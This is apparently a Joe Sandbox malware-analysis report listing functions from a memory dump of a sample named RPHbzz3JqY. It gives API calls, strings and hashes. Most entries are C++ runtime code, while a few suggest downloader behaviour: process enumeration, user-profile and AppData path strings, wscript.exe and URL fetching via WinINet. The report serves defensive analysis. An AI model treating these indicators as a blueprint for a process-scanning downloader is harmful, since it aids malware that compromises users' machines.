Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Internet$CloseHandle$FileOpenRead
String ID: ""~|fP$,`$33333333$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$sHM
API String ID: 3539267403-3594769453
Opcode ID: e2bf7b570ddc9e190470bc3d3569ad3c1d56c9736f6bb3db25050d12cfc15689
Instruction ID: 766394d180cfdcb8adf6d5b0175fe8a1ed16be23ff6bca1e5957dab0a8db06b6
Opcode Fuzzy Hash: e2bf7b570ddc9e190470bc3d3569ad3c1d56c9736f6bb3db25050d12cfc15689
Instruction Fuzzy Hash: 20B11631D102189BDB12DB78DC45BEAB7B9BF69340F10876BF904B6251FB71AAC18B40

Function 005DBFD0 Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 154COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005DBFE5
std::_Lockit::_Lockit.LIBCPMT ref: 005DC000
std::_Lockit::~_Lockit.LIBCPMT ref: 005DC020
std::_Lockit::~_Lockit.LIBCPMT ref: 005DC071
std::_Facet_Register.LIBCPMT ref: 005DC167
std::_Lockit::~_Lockit.LIBCPMT ref: 005DC17F
Concurrency::cancel_current_task.LIBCPMT ref: 005DC18D
Concurrency::cancel_current_task.LIBCPMT ref: 005DC192
Concurrency::cancel_current_task.LIBCPMT ref: 005DC197

Strings

d`, xrefs: 005DC0A9
N#^, xrefs: 005DBFFD, 005DC01D
false, xrefs: 005DC112
true, xrefs: 005DC138
N#^, xrefs: 005DC02B, 005DC093

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: std::_$Lockit$Concurrency::cancel_current_taskLockit::~_$Lockit::_$Facet_Register
String ID: N#^$N#^$d`$false$true
API String ID: 1941589060-2412832227
Opcode ID: f39d072459c109fd48bd7fd7d6a021e4a74d0c0f213105ecb24b640043a7f64f
Instruction ID: c7e8452a5c742d1f25f95bdbf54aca56fd825fdf109205728e439b2f93e6bd2f
Opcode Fuzzy Hash: f39d072459c109fd48bd7fd7d6a021e4a74d0c0f213105ecb24b640043a7f64f
Instruction Fuzzy Hash: 8251C330A01316DBDB38DFA9D845A9ABFA1BF54310F14456FE8499B352DB32ED02CB81

Function 005D13C0 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 332COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(001FFFFF,00000000,?,?,?), ref: 005D13DD
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104,?,?), ref: 005D13FB
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00000104,?,?), ref: 005D1405
GetCurrentProcessId.KERNEL32(?,?,00000000,00000000,?,00000104,?,?), ref: 005D144A
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,?), ref: 005D1455
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,?), ref: 005D175F

Strings

C:\ProgramData, xrefs: 005D16A2
APPDATA, xrefs: 005D1497
wscript.exe, xrefs: 005D15A2
LOCALAPPDATA, xrefs: 005D14DD
USERPROFILE, xrefs: 005D1522
C:\Windows\Microsoft.NET, xrefs: 005D1632

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: CloseHandle$Process$CurrentFileModuleNameOpen
String ID: APPDATA$C:\ProgramData$C:\Windows\Microsoft.NET$LOCALAPPDATA$USERPROFILE$wscript.exe
API String ID: 1772831937-2916873119
Opcode ID: aaf6ec065320693acf5d4d68661c6f775d8631a681c40bdc7b6ac7002b8f50c8
Instruction ID: 8b065620b875830a42b8f2a934c3c538d17cc22a4cfa7b539332e788910df140
Opcode Fuzzy Hash: aaf6ec065320693acf5d4d68661c6f775d8631a681c40bdc7b6ac7002b8f50c8
Instruction Fuzzy Hash: 91B13432E00604ABDB20DAACDC84BBEBB79FB80350F58416BE816A7392D735DD45C758

Function 00606A28 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00606A6C

Part of subcall function 00605CD4: _free.LIBCMT ref: 00605CF1
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605D03
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605D15
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605D27
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605D39
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605D4B
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605D5D
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605D6F
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605D81
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605D93
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605DA5
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605DB7
Part of subcall function 00605CD4: _free.LIBCMT ref: 00605DC9

_free.LIBCMT ref: 00606A61

Part of subcall function 005FCE37: HeapFree.KERNEL32(00000000,00000000,?,00606429,?,00000000,?,?,?,006066CC,?,00000007,?,?,00606BBF,?), ref: 005FCE4D
Part of subcall function 005FCE37: GetLastError.KERNEL32(?,?,00606429,?,00000000,?,?,?,006066CC,?,00000007,?,?,00606BBF,?,?), ref: 005FCE5F

_free.LIBCMT ref: 00606A83
_free.LIBCMT ref: 00606A98
_free.LIBCMT ref: 00606AA3
_free.LIBCMT ref: 00606AC5
_free.LIBCMT ref: 00606AD8
_free.LIBCMT ref: 00606AE6
_free.LIBCMT ref: 00606AF1
_free.LIBCMT ref: 00606B29
_free.LIBCMT ref: 00606B30
_free.LIBCMT ref: 00606B4D
_free.LIBCMT ref: 00606B65

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 5684e3363b821f4c2387fff85a1d201a080251b22b62368c6555c73e391b364e
Instruction ID: 5554644f40472c17cd5b37d45bae2f4d9e91133e88e1613e6bef4b82b64f886d
Opcode Fuzzy Hash: 5684e3363b821f4c2387fff85a1d201a080251b22b62368c6555c73e391b364e
Instruction Fuzzy Hash: DA318F716803099FEB25AB38EA49BA77BEAFF40350F148429F254D7291DB75BC60C720

Function 00605DD2 Relevance: 18.4, APIs: 12, Instructions: 373COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00605E1A
_free.LIBCMT ref: 00605E3E
_free.LIBCMT ref: 00605E4B
_free.LIBCMT ref: 00605E70
_free.LIBCMT ref: 00605E7D
_free.LIBCMT ref: 00605E86
_free.LIBCMT ref: 00606160
_free.LIBCMT ref: 00606168

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0ff42c91669c732288d2766aafec07dad9ab6c7fcd8cbf8cf330ceb0118a4b39
Instruction ID: 927f8a268ac0f40c8252696df65722edf57b47f3c71f35f1a0e723ae0a80cbaa
Opcode Fuzzy Hash: 0ff42c91669c732288d2766aafec07dad9ab6c7fcd8cbf8cf330ceb0118a4b39
Instruction Fuzzy Hash: 27C16672E80209ABDB64DB98CD46FEF7BF9AF08700F144164FA05EB2C2D6709A418B54

Function 005F3CC8 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 005F3DC5
type_info::operator==.LIBVCRUNTIME ref: 005F3DE7
___TypeMatch.LIBVCRUNTIME ref: 005F3EF6
IsInExceptionSpec.LIBVCRUNTIME ref: 005F3FC8
_UnwindNestedFrames.LIBCMT ref: 005F404C
CallUnexpected.LIBVCRUNTIME ref: 005F4067

Strings

csm, xrefs: 005F3E1E
csm, xrefs: 005F3D05
csm, xrefs: 005F3D72

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: 58ad7360eabc5ad2ac3c07b15c8c09769f38ab97a7eb713b4e317201fe7b063d
Instruction ID: 464f99b92c551330e567d38eca35104fdc4f7fab4e087accfbd6f57e3368fc15
Opcode Fuzzy Hash: 58ad7360eabc5ad2ac3c07b15c8c09769f38ab97a7eb713b4e317201fe7b063d
Instruction Fuzzy Hash: 10B1687180020EAFDF28DFA4C8859BEBFB9BF44310B14455AEA05AB212D779DA51CF91

Function 005D56B0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 146networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 005D56F1
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84000100,00000000), ref: 005D575B
InternetCloseHandle.WININET(00000000), ref: 005D5768
InternetReadFile.WININET(00000000,00000000,00000400,00000000), ref: 005D57C9
InternetReadFile.WININET(00000000,00000000,00000400,00000000), ref: 005D57FB
InternetCloseHandle.WININET(00000000), ref: 005D580C
InternetCloseHandle.WININET(00000000), ref: 005D580F

Strings

Couldn't open URL!, xrefs: 005D576E
Couldn't open Internet!, xrefs: 005D584F

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: Internet$CloseHandle$FileOpenRead
String ID: Couldn't open Internet!$Couldn't open URL!
API String ID: 3539267403-1021515825
Opcode ID: 1c814ec05a765f173e566c12441a3fdc821e287f2bea4107e7fa8c890ea6ee02
Instruction ID: 2c483ea425b69a1bf88a75ed0e1507750b7af6d9c336398742c1a85a897bad71
Opcode Fuzzy Hash: 1c814ec05a765f173e566c12441a3fdc821e287f2bea4107e7fa8c890ea6ee02
Instruction Fuzzy Hash: E9519471A10209ABDB149FA8CC49BAFBB79FF44305F20451AF900B6381E7759A44CBA0

Function 005FC978 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 005FC98E

Part of subcall function 005FCE37: HeapFree.KERNEL32(00000000,00000000,?,00606429,?,00000000,?,?,?,006066CC,?,00000007,?,?,00606BBF,?), ref: 005FCE4D
Part of subcall function 005FCE37: GetLastError.KERNEL32(?,?,00606429,?,00000000,?,?,?,006066CC,?,00000007,?,?,00606BBF,?,?), ref: 005FCE5F

_free.LIBCMT ref: 005FC99A
_free.LIBCMT ref: 005FC9A5
_free.LIBCMT ref: 005FC9B0
_free.LIBCMT ref: 005FC9BB
_free.LIBCMT ref: 005FC9C6
_free.LIBCMT ref: 005FC9D1
_free.LIBCMT ref: 005FC9DC
_free.LIBCMT ref: 005FC9E7
_free.LIBCMT ref: 005FC9F5

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 3d4e82929c39b13c76fa35f0a48b96c8307167210cc6be5679283eedf6e766ef
Instruction ID: 772e3407770ac51c995529b2fa013966e9c3538a02ad3fef669d7d39e7a5e175
Opcode Fuzzy Hash: 3d4e82929c39b13c76fa35f0a48b96c8307167210cc6be5679283eedf6e766ef
Instruction Fuzzy Hash: 7821D67690010DAFCB02EF94CA85CEE7FB9BF48340F4081A6B7059B521DB35EA55CB80

Function 005DC4C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 005DC4D7

Part of subcall function 005EF760: std::_Lockit::_Lockit.LIBCPMT ref: 005EF772
Part of subcall function 005EF760: std::locale::_Setgloballocale.LIBCPMT ref: 005EF78D
Part of subcall function 005EF760: _Yarn.LIBCPMT ref: 005EF7A3
Part of subcall function 005EF760: std::_Lockit::~_Lockit.LIBCPMT ref: 005EF7E3

std::_Lockit::_Lockit.LIBCPMT ref: 005DC4EC
std::_Lockit::_Lockit.LIBCPMT ref: 005DC507
std::_Lockit::~_Lockit.LIBCPMT ref: 005DC527
__Getcoll.LIBCPMT ref: 005DC5AA
std::_Facet_Register.LIBCPMT ref: 005DC5DC
std::_Lockit::~_Lockit.LIBCPMT ref: 005DC5F4

Strings

ios_base::badbit set, xrefs: 005DC4C7

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$std::locale::_$Facet_GetcollInitRegisterSetgloballocaleYarn
String ID: ios_base::badbit set
API String ID: 1067193257-3882152299
Opcode ID: e11b113ad60a65d71a4cb6d5e6ed451ad797ecb24a626599b89aff4f23eee695
Instruction ID: be0aa30ec18d0daf9538370c6206ccf1fa2b4fb05e50b13847700ee412afd1f9
Opcode Fuzzy Hash: e11b113ad60a65d71a4cb6d5e6ed451ad797ecb24a626599b89aff4f23eee695
Instruction Fuzzy Hash: AA41B0719016169FDB34DF68E8449AEBFB5BF80310B15816BE8466B352DB31FA01CB80

Function 005F3760 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005F3797
___except_validate_context_record.LIBVCRUNTIME ref: 005F379F
_ValidateLocalCookies.LIBCMT ref: 005F3828
__IsNonwritableInCurrentImage.LIBCMT ref: 005F3853
_ValidateLocalCookies.LIBCMT ref: 005F38A8

Strings

@0], xrefs: 005F386C
O&_, xrefs: 005F3845, 005F384E, 005F385F
csm, xrefs: 005F383D

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: @0]$O&_$csm
API String ID: 1170836740-2804530593
Opcode ID: 6a705ab401249287b8739e95d017c6c6436c00a150b446a0d6ab118ab42bb71b
Instruction ID: 31c15777ac586f5161b2bdadf79e83594e61dd3a23e64fa8e70859f6850bed93
Opcode Fuzzy Hash: 6a705ab401249287b8739e95d017c6c6436c00a150b446a0d6ab118ab42bb71b
Instruction Fuzzy Hash: FD41E174A0120D9BDF10DF68C884AAEBFA5FF44354F148595F918AB392C779EB41CB90

Function 005D1B80 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005D1B92
std::_Lockit::_Lockit.LIBCPMT ref: 005D1BAD
std::_Lockit::~_Lockit.LIBCPMT ref: 005D1BCD
std::_Lockit::~_Lockit.LIBCPMT ref: 005D1C1E
__Getctype.LIBCPMT ref: 005D1C6D
std::_Facet_Register.LIBCPMT ref: 005D1C93
std::_Lockit::~_Lockit.LIBCPMT ref: 005D1CAB

Strings

d`, xrefs: 005D1C52

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_GetctypeRegister
String ID: d`
API String ID: 2525760861-4132929406
Opcode ID: c2935f2d3267341dd03542cb9329870afc293749da91f22ef772b70df20aec35
Instruction ID: 2cafabf48987faa42869be6c2705ac546b95d16b98ae7bfc31a5c68a24521da5
Opcode Fuzzy Hash: c2935f2d3267341dd03542cb9329870afc293749da91f22ef772b70df20aec35
Instruction Fuzzy Hash: 8441D771A40A15AFD734DF5CD8849A9BBB5FF50310B1481ABE8899B322EB31ED41C7C5

Function 005FF84E Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16f84fc7c648c6b84828cb56d1747476c6686fd7119e42a44e4bf3386eb1edd8
Instruction ID: d1201e64c0b6e0f2180df848b339f41e8db31370d05984c028c97b65a9b6e0a4
Opcode Fuzzy Hash: 16f84fc7c648c6b84828cb56d1747476c6686fd7119e42a44e4bf3386eb1edd8
Instruction Fuzzy Hash: 65C10270E0420EAFDB25DF98D994BBE7FB1BF49300F144169EB04AB692C7789901CB60

Function 006061F1 Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0060625F
_free.LIBCMT ref: 0060626B
_free.LIBCMT ref: 00606394
_free.LIBCMT ref: 0060639F

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: d551e36c26060e5d1f5bce36b51f2292d64424321368591d52a6783737d3da62
Instruction ID: c231611c0f46e0ee586d8c7f627d57a4e4490da64aa2f84589d5a11850cda8f7
Opcode Fuzzy Hash: d551e36c26060e5d1f5bce36b51f2292d64424321368591d52a6783737d3da62
Instruction Fuzzy Hash: 1061D372980305AFDB28DF64C941BABBBEAEF44310F145529FA55AB2C1E770AD118B90

Function 005FB0B9 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005FCA90: GetLastError.KERNEL32(005D1920,00000001,005D1924,005F6D0D,00000001,00000000,00000000,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCA95
Part of subcall function 005FCA90: SetLastError.KERNEL32(00000000,00000006,000000FF,?,005FCD85,00000000,00000000,00000001,00000000,005D1920,00000104), ref: 005FCB33

_free.LIBCMT ref: 005FB3A4
_free.LIBCMT ref: 005FB3BD
_free.LIBCMT ref: 005FB3FB
_free.LIBCMT ref: 005FB404
_free.LIBCMT ref: 005FB410

Strings

@0], xrefs: 005FB381
C, xrefs: 005FB215

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free$ErrorLast
String ID: @0]$C
API String ID: 3291180501-346233754
Opcode ID: 43bd0a96790ddb44d9ba92b1a215c178132ed0d331390e56cd96d47825b50dea
Instruction ID: b572b32d4ce01ce3fdcc854a85a09762246ff5bf286dfaa7a6ddcdee01363974
Opcode Fuzzy Hash: 43bd0a96790ddb44d9ba92b1a215c178132ed0d331390e56cd96d47825b50dea
Instruction Fuzzy Hash: 89B15D7590121ADFEB24DF18C888BADBBB5FF48304F5445A9EA49A7391D734AE90CF40

Function 005FAC2E Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0060097D: HeapAlloc.KERNEL32(00000000,?,?,?,005F18D8,?,?,?,?,?,005D11E3,?,?), ref: 006009AF

_free.LIBCMT ref: 005FAD3D
_free.LIBCMT ref: 005FAD54
_free.LIBCMT ref: 005FAD71
_free.LIBCMT ref: 005FAD8C
_free.LIBCMT ref: 005FADA3

Strings

x2a, xrefs: 005FAC81
\2a, xrefs: 005FAD17

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: _free$AllocHeap
String ID: \2a$x2a
API String ID: 1835388192-915316952
Opcode ID: a258a402f05fe14e179f8f76b7b8196d86ebe745330d9e8eecc9aa34fd8080ec
Instruction ID: f65ca1ff85ac71ae7d6b7863874d450cedfc9c483de40633606fd1c6ed7c3316
Opcode Fuzzy Hash: a258a402f05fe14e179f8f76b7b8196d86ebe745330d9e8eecc9aa34fd8080ec
Instruction Fuzzy Hash: 4451B371A003099FDB219F69D841ABA7BF9FF48711F144569EA0ADB250E739EE008B42

Function 005D1A50 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005D1A62
std::_Lockit::_Lockit.LIBCPMT ref: 005D1A7D
std::_Lockit::~_Lockit.LIBCPMT ref: 005D1A9D
std::_Lockit::~_Lockit.LIBCPMT ref: 005D1AEE
std::_Facet_Register.LIBCPMT ref: 005D1B50
std::_Lockit::~_Lockit.LIBCPMT ref: 005D1B68

Strings

d`, xrefs: 005D1B22

Memory Dump Source

Source File: 00000000.00000002.1678536053.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.1678516949.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678577435.000000000060E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678614331.000000000061F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1678830020.0000000000622000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_RPHbzz3JqY.jbxd

Similarity

API ID: std::_$Lockit$Lockit::~_$Lockit::_$Facet_Register
String ID: d`
API String ID: 1858714459-4132929406
Opcode ID: 63881efeba4f8ed52c7b58b72b3e6f151f68e2b0d9f3c1c46ccde9e88a79c6c4
Instruction ID: 1f2112163e922dba496ac31a76425976a397e6d3a76bcd748f5d709ecb666b44
Opcode Fuzzy Hash: 63881efeba4f8ed52c7b58b72b3e6f151f68e2b0d9f3c1c46ccde9e88a79c6c4
Instruction Fuzzy Hash: 7F31F631A01615AFD734DF5CD884999BBA1FF50350B2481ABD8899B312EB31EE42CBC4

Function 00605522 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

